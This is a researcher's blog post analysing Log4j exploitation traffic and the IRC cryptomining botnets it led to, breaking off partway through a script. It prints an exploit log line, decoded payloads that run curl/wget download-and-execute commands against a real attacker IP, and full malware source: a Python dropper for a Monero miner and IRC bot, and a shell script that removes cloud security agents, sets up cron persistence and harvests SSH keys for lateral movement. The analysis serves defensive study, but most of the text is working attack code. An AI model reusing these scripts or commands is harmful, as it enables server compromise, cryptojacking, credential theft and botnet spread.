Traffic Journal ::010:: Log4j IRC Monero C2C Botnet Squatting and Popping

Previous Log4j Research

https://bcable.net/analysis-httpd-log4j_obfuscate.html

https://bcable.net/analysis-httpd-log4j_rawlogs.html

Botnets Infiltrated

Through similar Log4j analysis and disassembly, I have managed to dig straight into a bunch of malware and connect directly into a bunch of IRC command and control botnets. 5586 victim hosts were nearly fully identified in one botnet that identifies itself as irc.bashgo.pw that contains roughly 6404 bots in it.

Another botnet that identifies itself as irc.cobalt.com had rougly 239 bots and 1 command user in it, and I was able to identify 208 hosts in that botnet.

I was able to go through certain channels to report these compromised hosts. 63 of these hosts were Linode instances, of which this very server is a Linode instance of, so I reported those rogue hosts specifically to Linode already as well.

Most hosts, due to the nature of the Log4j vulnerability needing to be done on a public port, are completely open to the web. The software used in most cases reports full host identification as well, so all information about the hosts was available to gather, it was just a matter of technological capability and timing.

I will detail the techniques I used to gather this information and provide as much information as I feel is in the public interest without compromising the integrity of the victim hosts.

Keep in mind, these hostnames are NOT the actual hostnames of these botnets. They use fake hostnames to throw people off.

irc.bashgo.pw

Not really the actual hostname, to reiterate, but this botnet is the bigger of the two.

irc.bashgo.pw really resolves to 159.203.103.62 at time of writing.

The original logs were found here:

209.141.47.28 - - [20/Jan/2022:14:07:40 +0000] "GET /$%7Bjndi:ldap://192.3.194.202:8080/o=tomcat%7D HTTP/1.1" 400 347 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64)${jndi:ldap://192.3.194.202:8080/o=tomcat}"

Initially forgot to add the “-b” option, but interesting to note it returned what it did…

$ ldapsearch -x -H ldap://192.3.194.202:8080
# extended LDIF
#
# LDAPv3
# base <> (default) with scope subtree
# filter: o=tomcat
# requesting: ALL
#

#
dn:
objectClass: javaNamingReference
javaClassName: xUnknown
javaFactory: xExportObject
javaCodeBase: http://127.0.1.1:8000/

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
$ ldapsearch -x -H ldap://192.3.194.202:8080 -b o=tomcat
# extended LDIF
#
# LDAPv3
# base <o=tomcat> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# tomcat
dn: o=tomcat
javaClassName: java.lang.String
javaSerializedData:: rO0ABXNyAB1vcmcuYXBhY2hlLm5hbWluZy5SZXNvdXJjZVJlZgAAAAAAA
 AABAgAAeHIAHW9yZy5hcGFjaGUubmFtaW5nLkFic3RyYWN0UmVmAAAAAAAAAAECAAB4cgAWamF2YX
 gubmFtaW5nLlJlZmVyZW5jZejGnqKo6Y0JAgAETAAFYWRkcnN0ABJMamF2YS91dGlsL1ZlY3Rvcjt
 MAAxjbGFzc0ZhY3Rvcnl0ABJMamF2YS9sYW5nL1N0cmluZztMABRjbGFzc0ZhY3RvcnlMb2NhdGlv
 bnEAfgAETAAJY2xhc3NOYW1lcQB+AAR4cHNyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJA
 BFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2
 xhbmcvT2JqZWN0O3hwAAAAAAAAAAV1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHA
 AAAAKc3IAGmphdmF4Lm5hbWluZy5TdHJpbmdSZWZBZGRyhEv0POER3MkCAAFMAAhjb250ZW50c3EA
 fgAEeHIAFGphdmF4Lm5hbWluZy5SZWZBZGRy66AHmgI4r0oCAAFMAAhhZGRyVHlwZXEAfgAEeHB0A
 AVzY29wZXQAAHNxAH4AC3QABGF1dGhxAH4AD3NxAH4AC3QACXNpbmdsZXRvbnQABHRydWVzcQB+AA
 t0AAtmb3JjZVN0cmluZ3QABng9ZXZhbHNxAH4AC3QAAXh0Bjp7IiIuZ2V0Q2xhc3MoKS5mb3JOYW1
 lKCJqYXZheC5zY3JpcHQuU2NyaXB0RW5naW5lTWFuYWdlciIpLm5ld0luc3RhbmNlKCkuZ2V0RW5n
 aW5lQnlOYW1lKCJKYXZhU2NyaXB0IikuZXZhbCgiamF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZ
 SgpLmV4ZWMoU3RyaW5nLmZyb21DaGFyQ29kZSg5OCw5NywxMTUsMTA0LDMyLDQ1LDk5LDMyLDEyMy
 wxMDEsOTksMTA0LDExMSw0NCw4OSw1MSw4NiwxMjEsOTgsNjcsNjUsMTE2LDk5LDEyMSw2NiwxMTE
 sMTAwLDcyLDgyLDExOSw3OSwxMDUsNTYsMTE4LDc5LDY4LDY1LDExNyw3OCwxMjIsNjksMTE3LDc3
 LDg0LDg1LDUyLDc2LDEwNiwxMDcsNTAsNzYsNTEsMTA0LDExNiw5OSwxMjIsNTcsMTIyLDk5LDY3L
 DY1LDExNiw5OCwxMjEsNjUsMTE4LDEwMCw3MSw0OSwxMTksNzYsNTEsMTA0LDExNiw5OSwxMjIsMT
 E1LDEwMywxMDAsNTAsMTAwLDEwOCwxMDAsNjcsNjYsMTExLDEwMCw3Miw4MiwxMTksNzksMTA1LDU
 2LDExOCw3OSw2OCw2NSwxMTcsNzgsMTIyLDY5LDExNyw3Nyw4NCw4NSw1Miw3NiwxMDYsMTA3LDUw
 LDc2LDUxLDEwNCwxMTYsOTksMTIyLDU3LDEyMiw5OSw2Nyw2NSwxMTYsODQsMTIxLDY1LDExOCwxM
 DAsNzEsNDksMTE5LDc2LDUxLDEwNCwxMTYsOTksMTIyLDExNSwxMDMsOTgsNzIsMTAwLDExOSw3Ni
 w4Nyw4MiwxMTgsMTAwLDUwLDUzLDExNSw5OCw1MCw3MCwxMDcsNzMsNzEsMTA0LDQ4LDEwMCw3Miw
 2NSw1NCw3NiwxMjEsNTYsNTIsNzcsNjcsNTIsNTEsNzcsODMsNTIsMTIwLDc4LDg0LDEwMywxMTcs
 NzksODQsODksMTE4LDEwMSw3MSw0OSwxMjIsNzMsNjcsNTcsNDgsOTgsODgsNjUsMTE4LDEwMSw3M
 Sw0OSwxMjIsNzksMTIxLDY2LDEwNSw4OSw4OCw3OCwxMTEsNzMsNjcsNTcsNDgsOTgsODgsNjUsMT
 E4LDEwMSw3MSw0OSwxMjIsNzksMTIxLDY2LDEwOCw4OSw1MCwxMDQsMTE4LDczLDcxLDc4LDczLDk
 4LDY4LDY2LDEwNCw4MiwxMjIsMTA4LDQ5LDgzLDg1LDc3LDEyMCw5NywxMDcsMTA4LDY4LDkwLDcy
 LDY2LDEwNSw4Nyw2OSw3NCw1MCw4OSw1MCw1Myw4Miw5MCw1MCw4Miw4OSw4MywxMTAsNzgsMTA1L
 DgyLDUwLDEyMCwxMTIsODQsMTIyLDc0LDg3LDc4LDcwLDExMiw4OCw4NCw4Nyw1NywxMDcsODcsNj
 ksMTEyLDEyMiw4OSwxMDcsMTAwLDExNSw5Nyw4NSwxMjAsMTE3LDg2LDExMCwxMDgsMTA1LDgyLDE
 yMiwxMDgsNTEsODcsMTA4LDk5LDQ4LDk4LDQ4LDEwOCwxMTYsOTcsNjgsNjYsMTA3LDgzLDY5LDY5
 LDUwLDg0LDcyLDEwNyw1Miw3OCw2OSw0OSw2OCw3OCw2OCw3OCw3OCw4NSwxMjIsODIsNTIsODQsM
 TA4LDgyLDExMCwxMDAsODUsNTcsODUsODcsODgsOTAsOTcsODEsMTIyLDg2LDUxLDkwLDg2LDc4LD
 c0LDk5LDY5LDEyMCwxMTcsODMsMTA5LDEyMCw5MCw4Niw0OSw3MCwxMTgsODMsNDksNzgsMTE0LDk
 4LDEwNSw2Niw1Niw3Myw3MSw3NCwxMDQsOTksNTAsODUsNTAsNzgsNjcsNjUsMTE2LDkwLDY3LDY2
 LDU2LDczLDcxLDc0LDEwNCw5OSw1MCwxMDMsMTAzLDc2LDgxLDYxLDYxLDEyNSwxMjQsMTIzLDk4L
 Dk3LDExNSwxMDEsNTQsNTIsNDQsNDUsMTAwLDEyNSwxMjQsMTIzLDk4LDk3LDExNSwxMDQsNDQsND
 UsMTA1LDEyNSkpIil9cHBwcHB4dAAlb3JnLmFwYWNoZS5uYW1pbmcuZmFjdG9yeS5CZWFuRmFjdG9
 yeXB0ABRqYXZheC5lbC5FTFByb2Nlc3Nvcg==

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

This base64 translates to:

b'\xac\xed\x00\x05sr\x00\x1dorg.apache.naming.ResourceRef\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00xr\x00\x1dorg.apache.naming.AbstractRef\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00xr\x00\x16javax.naming.Reference\xe8\xc6\x9e\xa2\xa8\xe9\x8d\t\x02\x00\x04L\x00\x05addrst\x00\x12Ljava/util/Vector;L\x00\x0cclassFactoryt\x00\x12Ljava/lang/String;L\x00\x14classFactoryLocationq\x00~\x00\x04L\x00\tclassNameq\x00~\x00\x04xpsr\x00\x10java.util.Vector\xd9\x97}[\x80;\xaf\x01\x03\x00\x03I\x00\x11capacityIncrementI\x00\x0celementCount[\x00\x0belementDatat\x00\x13[Ljava/lang/Object;xp\x00\x00\x00\x00\x00\x00\x00\x05ur\x00\x13[Ljava.lang.Object;\x90\xceX\x9f\x10s)l\x02\x00\x00xp\x00\x00\x00\nsr\x00\x1ajavax.naming.StringRefAddr\x84K\xf4<\xe1\x11\xdc\xc9\x02\x00\x01L\x00\x08contentsq\x00~\x00\x04xr\x00\x14javax.naming.RefAddr\xeb\xa0\x07\x9a\x028\xafJ\x02\x00\x01L\x00\x08addrTypeq\x00~\x00\x04xpt\x00\x05scopet\x00\x00sq\x00~\x00\x0bt\x00\x04authq\x00~\x00\x0fsq\x00~\x00\x0bt\x00\tsingletont\x00\x04truesq\x00~\x00\x0bt\x00\x0bforceStringt\x00\x06x=evalsq\x00~\x00\x0bt\x00\x01xt\x06:{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec(String.fromCharCode(98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,51,86,121,98,67,65,116,99,121,66,111,100,72,82,119,79,105,56,118,79,68,65,117,78,122,69,117,77,84,85,52,76,106,107,50,76,51,104,116,99,122,57,122,99,67,65,116,98,121,65,118,100,71,49,119,76,51,104,116,99,122,115,103,100,50,100,108,100,67,66,111,100,72,82,119,79,105,56,118,79,68,65,117,78,122,69,117,77,84,85,52,76,106,107,50,76,51,104,116,99,122,57,122,99,67,65,116,84,121,65,118,100,71,49,119,76,51,104,116,99,122,115,103,98,72,100,119,76,87,82,118,100,50,53,115,98,50,70,107,73,71,104,48,100,72,65,54,76,121,56,52,77,67,52,51,77,83,52,120,78,84,103,117,79,84,89,118,101,71,49,122,73,67,57,48,98,88,65,118,101,71,49,122,79,121,66,105,89,88,78,111,73,67,57,48,98,88,65,118,101,71,49,122,79,121,66,108,89,50,104,118,73,71,78,73,98,68,66,104,82,122,108,49,83,85,77,120,97,107,108,68,90,72,66,105,87,69,74,50,89,50,53,82,90,50,82,89,83,110,78,105,82,50,120,112,84,122,74,87,78,70,112,88,84,87,57,107,87,69,112,122,89,107,100,115,97,85,120,117,86,110,108,105,82,122,108,51,87,108,99,48,98,48,108,116,97,68,66,107,83,69,69,50,84,72,107,52,78,69,49,68,78,68,78,78,85,122,82,52,84,108,82,110,100,85,57,85,87,88,90,97,81,122,86,51,90,86,78,74,99,69,120,117,83,109,120,90,86,49,70,118,83,49,78,114,98,105,66,56,73,71,74,104,99,50,85,50,78,67,65,116,90,67,66,56,73,71,74,104,99,50,103,103,76,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125))")}pppppxt\x00%org.apache.naming.factory.BeanFactorypt\x00\x14javax.el.ELProcessor'

These ASCII character codes translate to:

b'curl -s http://80.71.158.96/xms?sp -o /tmp/xms; wget http://80.71.158.96/xms?sp -O /tmp/xms; lwp-download http://80.71.158.96/xms /tmp/xms; bash /tmp/xms; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly84MC43MS4xNTguOTYvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -'

This base64 translates to…. (*sigh*):

b'python -c \'import urllib;exec(urllib.urlopen("http://80.71.158.96/d.py").read())\''

The full list of pulled malware is the following. I have organized it into the three stages of deployment I witnessed, the “d.py” start deployment, “e.py” initial scan deployment for further scanning of local addresses and lateral movement (192.168.0.0/16), and the “ei.py” scan2 deployment for even further lateral movement (192/10/172 addresses):

01_d_start/bashirc.i686: OK
01_d_start/bashirc.i686.decompress: Win.Trojan.Tsunami-5 FOUND
01_d_start/bashirc.x86_64: Unix.Trojan.Tsunami-9917427-0 FOUND
01_d_start/bashirc.x86_64.decompress: Win.Trojan.Tsunami-5 FOUND
01_d_start/d.py: OK
01_d_start/i686: OK
01_d_start/i686.decompress: Multios.Coinminer.Miner-6781728-2 FOUND
01_d_start/quartz_uninstall.sh: OK
01_d_start/uninstall.sh: OK
01_d_start/x86_64: OK
01_d_start/x86_64.decompress: Multios.Coinminer.Miner-6781728-2 FOUND
01_d_start/xms: Unix.Downloader.Rocke-6826000-0 FOUND
01_d_start/xms.web1: Unix.Downloader.Rocke-6826000-0 FOUND
02_e_scan/e.py: OK
02_e_scan/hxx: Unix.Malware.Agent-6639729-0 FOUND
02_e_scan/hxx.decompress: OK
02_e_scan/pas3: OK
02_e_scan/scan: OK
03_ei_scan2/ei.py: OK
03_ei_scan2/pas: OK
03_ei_scan2/scan2: OK
03_ei_scan2/scan2.decompress: OK
03_ei_scan2/xms: Unix.Downloader.Rocke-6826000-0 FOUND
03_ei_scan2/xms.web2: Unix.Downloader.Rocke-6826000-0 FOUND
stray/b.py: OK
stray/wxm.exe: Win.Coinminer.Generic-7151250-0 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 8604460
Engine version: 0.103.5
Scanned directories: 0
Scanned files: 26
Infected files: 11
Data scanned: 27.84 MB
Data read: 26.62 MB (ratio 1.05:1)
Time: 19.340 sec (0 m 19 s)
Start Date: 2022:01:22 18:48:49
End Date:   2022:01:22 18:49:09

01_d_start

d.py

Mostly just determines architecture and installs the appropriate bashirc, determines if the Monero host (pool.supportxmr.com) is pingable, and installs the Monero CoinMiner.

import urllib
import platform
import os

output = os.popen('sh -c bytes=$(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l); if [[ "$bytes" -eq "0" ]]; then url=" "; else url="-d";fi; echo $url').read()
if platform.architecture()[0] == "64bit":
    urlx64 = "http://80.71.158.96/x86_64"
    bx64 = "http://80.71.158.96/bashirc.x86_64"
    try:
        f = urllib.urlopen(urlx64)
        if f.code == 200:
            data = f.read()
            with open ("/tmp/dbused", "wb") as code:
                code.write(data)
        xx = urllib.urlopen(bx64)
        if xx.code == 200:
            data = xx.read()
            with open ("/tmp/bashirc.x86_64", "wb") as code:
                code.write(data)
        os.chmod("/tmp/dbused", 0o777)
        os.chmod("/tmp/bashirc.x86_64", 0o777)
        os.system("/tmp/dbused -pwn")
        os.system("/tmp/dbused -c " + output)
        os.system("/tmp/bashirc.x86_64")
        os.system("rm -rf /tmp/dbused")
        os.system("rm -rf /tmp/bashirc.x86_64")
    except:
        pass
else:
    urlyy = "http://80.71.158.96/i686"
    yy32 = "http://80.71.158.96/bashirc.i686"
    try:
        yy = urllib.urlopen(urlyy)
        if yy.code == 200:
            data = yy.read()
            with open ("/tmp/dbused", "wb") as code:
                code.write(data)
        yy = urllib.urlopen(yy32)
        if yy.code == 200:
            data = xx.read()
            with open ("/tmp/bashirc.i686", "wb") as code:
                code.write(data)
        os.chmod("/tmp/dbused", 0o777)
        os.chmod("/tmp/bashirc.i686", 0o777)
        os.system("/tmp/dbused -pwn")
        os.system("/tmp/dbused -c " + output)
        os.system("/tmp/bashirc.i686")
        os.system("rm -rf /tmp/dbused")
        os.system("rm -rf /tmp/bashirc.i686")
    except:
        pass

xms

Downloads and runs quartz_uninstall.sh as well as uninstall.sh, detailed below. These appear to be uninstall software for Aegis and Quartz.

Afterwards, disabled and removes Aliyun, bcm-agent, qcloud-stargate/qcloud-yunjing/qcloud-monitor.

From there, it spams the following files:

/etc/cron.d/root
/etc/cron.d/apache
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.hourly/oanacroner1

To gain as much of a crontab foothold by redownloading and executing xms as much as possible over and over again.

The payload used is:

(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR

It's interesting to note that the $url can be the http://80.71.158.96 or http://a.oracleservice.top, but a.oracleservice.top does not DNS resolv so I wonder if they have already been slightly disrupted in the past.

Full xms:

#!/bin/bash
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
setenforce 0 2>/dev/null
ulimit -u 50000
sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))
netstat -antp | grep ':3333'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':4444'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5555'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':7777'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':14444'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5790'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':45700'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':2222'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':9999'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':20580'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':13531'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '23.94.24.12:8080'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '134.122.17.13:8080'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '107.189.11.170:443'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
rand=$(seq 0 255 | sort -R | head -n1)
rand2=$(seq 0 255 | sort -R | head -n1)
chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

if ps aux | grep -i '[a]liyun'; then
  (wget -q -O - http://update.aegis.aliyun.com/download/uninstall.sh||curl -s http://update.aegis.aliyun.com/download/uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
  (wget -q -O - http://update.aegis.aliyun.com/download/quartz_uninstall.sh||curl -s http://update.aegis.aliyun.com/download/quartz_uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/quartz_uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*
  systemctl stop aliyun.service
  systemctl disable aliyun.service
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
  /usr/local/qcloud/stargate/admin/uninstall.sh
  /usr/local/qcloud/YunJing/uninst.sh
  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
sleep 1
echo "DER Uninstalled"

chattr -ai /tmp/dbused

if [ -s /usr/bin/ifconfig ];
then
    range=$(ifconfig | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
else
    range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
fi

if [ $(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
        dns=""
else
        dns="-d"
fi

if [ $(ping -c 1 a.oracleservice.top 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
        url="http://a.oracleservice.top"
else
        url="http://80.71.158.96"
fi


echo -e "*/1 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/apache
echo -e "*/3 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/nginx
echo -e "*/30 * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * *    (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
echo "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1

DIR="/tmp"
cd $DIR

if [ -a "/tmp/dbused" ]
then
    if [ -w "/tmp/dbused" ] && [ ! -d "/tmp/dbused" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /tmp/dbused | awk '{ print $1 }')
            echo $sum
            case $sum in
                dc3d2e17df6cef8df41ce8b0eba99291 | 780965bad574e4e7f04433431d0d8f63)
                    echo "x86_64 OK"
                ;;
                *)
                    echo "x86_64 wrong"
                    rm -rf /usr/local/lib/libkk.so
                    echo "" > /etc/ld.so.preload
                    pkill -f wc.conf
                    pkill -f susss
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/tmp" ]
    then
        DIR="/tmp"
    fi
    echo "P NOT EXISTS"
fi
if [ -d "/tmp/.sh/dbused" ]
then
    DIR=$(mktemp -d)/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi

get() {
  chattr -i $2; rm -rf $2
  wget -q -O - $1 > $2 || curl -fsSL $1 -o $2 ||  lwp-download $1 $2 ||
  chmod +x $2
}


downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/dbused ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
        echo $sum
        case $sum in
            dc3d2e17df6cef8df41ce8b0eba99291 | 780965bad574e4e7f04433431d0d8f63)
                echo "x86_64 OK"
            ;;
            *)
                echo "x86_64 wrong"
                sizeBefore=$(du $DIR/x86_64)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                download
                sumAfter=$(md5sum $DIR/x86_64 | awk '{ print $1 }')
                if [ -s /usr/bin/curl ];
                then
                    echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sssus` > $DIR/tmp.txt
                fi
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}


download() {
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/x86_643 | awk '{ print $1 }')
        echo $sum
        case $sum in
            dc3d2e17df6cef8df41ce8b0eba99291 | dc3d2e17df6cef8df41ce8b0eba99291)
                echo "x86_64 OK"
                cp $DIR/x86_643 $DIR/x86_64
                        cp $DIR/x86_643 $DIR/x86_64
            ;;
            *)
                echo "x86_64 wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}

download2() {
    get $url/$(uname -m) "$DIR"/dbused
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
        echo $sum
        case $sum in
            dc3d2e17df6cef8df41ce8b0eba99291 | 780965bad574e4e7f04433431d0d8f63)
                echo "x86_64 OK"
                cp $DIR/x86_64 $DIR/x86_643
            ;;
            *)
                echo "x86_64 wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}

judge() {
    if [ ! "$(netstat -ant|grep '51.79.175.139:8080\|198.23.214.117:8080\|167.114.114.169:8080'|grep 'ESTABLISHED'|grep -v grep)" ];
    then
        get $url/$(uname -m) "$DIR"/dbused
        chmod +x "$DIR"/dbused
        "$DIR"/dbused -c $dns
        "$DIR"/dbused -pwn
        sleep 5
    else
    echo "Running"
    fi
}

if [ ! "$(netstat -ant|grep '51.79.175.139:8080\|198.23.214.117:8080\|167.114.114.169:8080'|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
    judge
else
     echo "Running"
fi

if [ ! "$(netstat -ant|grep '104.168.71.132:80'|grep 'ESTABLISHED'|grep -v grep)" ];
then
    get $url/bashirc.$(uname -m) "$DIR"/bashirc
    chmod 777 "$DIR"/bashirc
    "$DIR"/bashirc
else
    echo "Running"
fi

cronbackup() {
 pay="(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR" 
 status=0 
 crona=$(systemctl is-active cron) 
 cronb=$(systemctl is-active crond) 
 cronatd=$(systemctl is-active atd) 
 if [ "$crona" == "active" ] ; then 
 echo "cron okay" 
 elif [ "$cronb" == "active" ]; then 
 echo "cron okay" 
 elif [ "$cronatd" == "active" ] ; then 
 status=1 
 else 
 status=2 
 fi 
 if [ $status -eq 1 ] ; then 
 for a in $(at -l|awk '{print $1}'); do at -r $a; done 
 echo "$pay" | at -m now + 1 minute 
 fi 
 if [ $status -eq 2 ] || [ "$me" != "root" ] ;then
  arr[0]="/dev/shm"
  arr[1]="/tmp"
  arr[2]="/var/tmp"
  arr[3]="/home/$(whoami)"
  arr[4]="/run/user/$(echo $UID)"
  arr[5]="/run/user/$(echo $UID)/systemd" 
  rand=$[$RANDOM % ${#arr[@]}]
 echo "Setting up custom backup" 
 ps auxf|grep -v grep|grep "cruner" | awk '{print $2}'|xargs kill -9 
 key="while true; do sleep 60 && $pay; done" 
 echo -e "$key\n##" > ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner 
 nohup ${arr[$rand]}/cruner >/dev/null 2>&1 &
 sleep 15 
 rm -rf ${arr[$rand]}/cruner 
 fi 
 } 
cronbackup


if crontab -l | grep -q "$url"
then
    echo "Cron exists"
else
    crontab -r
    echo "Cron not found"
    echo "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" | crontab -
fi

KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
USERZ=$(
    echo "root"
    find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
)
userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
for user in $userlist; do
    for host in $hostlist; do
        for key in $keylist; do
            chmod +r $key; chmod 400 $key
